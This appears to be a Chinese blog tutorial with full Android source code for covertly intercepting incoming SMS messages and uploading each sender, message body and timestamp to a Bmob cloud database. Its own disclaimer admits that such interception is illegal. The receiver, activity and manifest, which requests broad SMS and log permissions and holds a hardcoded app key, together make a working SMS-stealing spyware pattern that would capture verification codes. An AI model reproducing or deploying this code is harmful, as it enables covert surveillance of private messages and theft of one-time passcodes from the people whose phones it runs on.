最近在做監(jiān)聽驗(yàn)證碼短信自動填入的功能,無意間想到了一個(gè)短信監(jiān)聽的辦法。免責(zé)聲明:短信監(jiān)聽本身是一種違法行為,這里只是技術(shù)描述,請大家學(xué)習(xí)技術(shù)即可。
本實(shí)例是基于bmob提供的后臺服務(wù),將監(jiān)聽到的短信自動上傳到bmob數(shù)據(jù)庫中。
為了便于操作,首先對要監(jiān)聽的對象進(jìn)行封裝:
package com.example.messagecut;
import cn.bmob.v3.BmobObject;
public class MsgContent extends BmobObject {
private String form;
private String content;
private String time;
public String getForm() {
return form;
}
public void setForm(String form) {
this.form = form;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public String getTime() {
return time;
}
public void setTime(String time) {
this.time = time;
}
}
BroadcastReceiver:
package com.example.messagecut;
//省略import
/**
* 配置廣播接收者: <receiver android:name=".SMSBroadcastReceiver"> <intent-filter
* android:priority="1000"> <action android:name=
* "android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
* 注意: <intent-filter android:priority="1000">表示: 設(shè)置此廣播接收者的級別為最高
*/
public class SMSBroadcastReceiver extends BroadcastReceiver {
private static MessageListener mMessageListener;
public SMSBroadcastReceiver() {
super();
}
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for (Object pdu : pdus) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String sender = smsMessage.getDisplayOriginatingAddress();
String content = smsMessage.getMessageBody();
long date = smsMessage.getTimestampMillis();
Date timeDate = new Date(date);
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = simpleDateFormat.format(timeDate);
System.out.println("短信來自:" + sender);
System.out.println("短信內(nèi)容:" + content);
System.out.println("短信時(shí)間:" + time);
mMessageListener.OnReceived(sender + "," + content + "," + time);
}
}
// 回調(diào)接口
public interface MessageListener {
public void OnReceived(String message);
}
public void setOnReceivedMessageListener(MessageListener messageListener) {
this.mMessageListener = messageListener;
}
}
通過SmsMessage 類的createFromPdu方法獲取SmsMessage對象,調(diào)用其getDisplayOriginatingAddress方法獲取發(fā)信人信息,調(diào)用其getMessageBody獲得短信內(nèi)容信息,調(diào)用其 getTimestampMillis獲得發(fā)送時(shí)間信息,將這三個(gè)信息通過逗號隔開拼接成一個(gè)字符串,用回調(diào)的方法將這個(gè)字符串傳遞到Activity中。 MainActivity.java:
package com.example.messagecut;
//省略import
/**
* Demo描述: 利用BroadcastReceiver實(shí)現(xiàn)監(jiān)聽短信
* 注意權(quán)限: <uses-permission android:name="android.permission.RECEIVE_SMS"/>
*/
public class MainActivity extends Activity {
private SMSBroadcastReceiver mSMSBroadcastReceiver;
private String message;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Bmob.initialize(this, "8f3ffb2658d8a3366a70a0b0ca0b71b2");
mSMSBroadcastReceiver = new SMSBroadcastReceiver(); mSMSBroadcastReceiver.setOnReceivedMessageListener(new MessageListener() {
public void OnReceived(String message) {
String[] msg=message.split(",");
MsgContent msgContent=new MsgContent(); msgContent.setForm(msg[0]);
msgContent.setContent(msg[1]); msgContent.setTime(msg[2]);
msgContent.save(MainActivity.this, new SaveListener() {
@Override
public void onSuccess() {//上傳成功
}
@Override
public void onFailure(int arg0, String arg1) {
}
});
}
});
}
}
接口回調(diào)的方法獲取字符串的內(nèi)容,調(diào)用split方法將字符串的內(nèi)容截取成字符串?dāng)?shù)組,然后依次獲取發(fā)送人,發(fā)送內(nèi)容和發(fā)送時(shí)間的內(nèi)容,將這些內(nèi)容結(jié)合Bmob的API上傳到Bmob后臺,實(shí)現(xiàn)短信監(jiān)聽的目的。 最后,配置AndroidManifest.xml文件:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.messagecut"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="21" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".SMSBroadcastReceiver" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
<!-- 發(fā)送短信 -->
<uses-permission android:name="android.permission.SEND_SMS" />
<!-- 閱讀消息 -->
<uses-permission android:name="android.permission.READ_SMS" />
<!-- 寫入消息 -->
<uses-permission android:name="android.permission.WRITE_SMS" />
<!-- 接收消息 -->
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_LOGS" />
</manifest>
為了保證項(xiàng)目運(yùn)行,需要配置一些權(quán)限。
運(yùn)行項(xiàng)目實(shí)例,然后用另一個(gè)手機(jī)發(fā)一條短信到測試手機(jī),這時(shí)就會在后臺數(shù)據(jù)庫中看到這樣一條信息,如下截圖:
已經(jīng)實(shí)現(xiàn)了短信監(jiān)聽的功能。